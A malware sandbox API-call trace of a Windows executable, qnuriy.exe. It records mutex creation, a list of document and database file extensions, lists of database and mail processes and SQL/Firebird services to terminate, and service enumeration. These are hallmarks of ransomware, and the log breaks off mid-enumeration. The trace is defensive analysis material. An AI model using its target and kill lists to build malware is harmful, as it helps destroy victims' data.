# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 3 2019 14:51:36 # Log Creation Date: 06.05.2019 21:11:03.622 Process: id = "1" image_name = "qnuriy.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe" page_root = "0x3343a000" os_pid = "0xb5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb60 [0177.369] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0177.370] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0177.371] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0177.372] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0177.373] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0177.374] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0177.375] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0177.375] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0177.375] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0181.908] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0181.909] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0181.909] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0186.154] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0186.155] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0190.194] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0190.194] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0190.194] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0190.194] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0190.331] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0190.331] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0190.331] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0190.331] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0191.125] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0191.125] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0191.125] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0191.126] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0191.126] GetProcessHeap () returned 0x4f0000 [0191.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x5040c8 [0191.126] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=25053163416) returned 1 [0191.126] GetTickCount () returned 0x31b3d [0191.126] GetCurrentProcessId () returned 0xb5c [0191.128] GetTickCount () returned 0x31b3d [0191.128] GetTickCount () returned 0x31b3d [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x5040f0 [0191.128] GetVersion () returned 0x1db10106 [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f36b0 [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0 [0191.128] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140 [0191.128] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0 [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x504900 [0191.128] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3P4JCYA") returned 0x0 [0191.128] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3P4JCYA") returned 0x84 [0191.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f36b0 | out: hHeap=0x4f0000) returned 1 [0191.128] lstrlenW (lpString="Global\\syncronize_") returned 18 [0191.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1 [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f36b0 [0191.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x514908 [0191.129] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3P4JCYU") returned 0x0 [0191.129] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3P4JCYU") returned 0x88 [0191.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f36b0 | out: hHeap=0x4f0000) returned 1 [0191.129] lstrlenW (lpString="Global\\syncronize_") returned 18 [0191.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1 [0191.129] GetVersion () returned 0x1db10106 [0191.129] GetCurrentProcess () returned 0xffffffff [0191.129] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0191.129] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0191.129] CloseHandle (hObject=0x8c) returned 1 [0191.129] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0191.129] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x4f36b0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5046b0, Size=0x80) returned 0x5046b0 [0191.129] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5046b0, Size=0x100) returned 0x5046b0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x5047b8 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007c0 [0191.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007d0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5007e0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500bd0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5047f8 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500be8 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x8) returned 0x5047f8 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c00 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x10) returned 0x5047f8 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c18 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c30 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x20) returned 0x5047f8 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c48 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c60 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007c0, Size=0x8) returned 0x5007c0 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x8) returned 0x5007d0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504820 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c78 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504830 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c90 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x8) returned 0x504830 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524928 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x10) returned 0x504830 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524940 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504848 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x20) returned 0x504858 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007c0, Size=0x10) returned 0x504830 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x10) returned 0x504880 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5007c0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524958 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007d0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524970 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x8) returned 0x5007d0 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504898 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524988 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5048a8 [0191.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5249a0 [0191.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5048a8, Size=0x8) returned 0x5048a8 [0191.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x20) returned 0x524d10 [0191.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504880, Size=0x20) returned 0x524d38 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504880 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5249b8 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504830 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5249d0 [0191.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x8) returned 0x504830 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x524d60 [0191.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x524d80 [0191.131] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0191.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1 [0191.131] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0191.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5249e8 [0191.227] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5249e8, Size=0x20) returned 0x504348 [0191.227] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x504708 [0191.227] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x80) returned 0x504708 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x100) returned 0x525058 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5249e8 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5249e8, Size=0x20) returned 0x504348 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x504708 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x80) returned 0x504708 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x100) returned 0x525160 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5249e8 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504708 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x8) returned 0x504708 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x504718 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x10) returned 0x504738 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x504750 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504348 [0191.228] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504738, Size=0x20) returned 0x504770 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x504370 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x504798 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504398 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524a18 [0191.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504708 [0191.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x525268 [0191.229] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x8) returned 0x504708 [0191.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x5252b0 [0191.229] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x10) returned 0x504738 [0191.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5252f8 [0191.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x525318 [0191.229] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504738, Size=0x20) returned 0x525338 [0191.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x525360 [0191.229] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0191.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525058 | out: hHeap=0x4f0000) returned 1 [0191.229] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0191.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525160 | out: hHeap=0x4f0000) returned 1 [0191.230] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5258e0 [0191.234] EnumServicesStatusExW (in: hSCManager=0x5258e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0191.235] GetLastError () returned 0xea [0191.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x5291e0 [0191.235] EnumServicesStatusExW (in: hSCManager=0x5258e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5291e0, cbBufSize=0x134c, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5291e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0191.236] CloseServiceHandle (hSCObject=0x5258e0) returned 1 [0191.238] lstrlenW (lpString="Appinfo") returned 7 [0191.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.238] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.238] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.238] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.238] lstrlenW (lpString="AudioSrv") returned 8 [0191.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0191.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0191.238] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0191.238] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0191.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0191.238] lstrlenW (lpString="BFE") returned 3 [0191.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.239] lstrlenW (lpString="CryptSvc") returned 8 [0191.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.239] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.239] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.239] 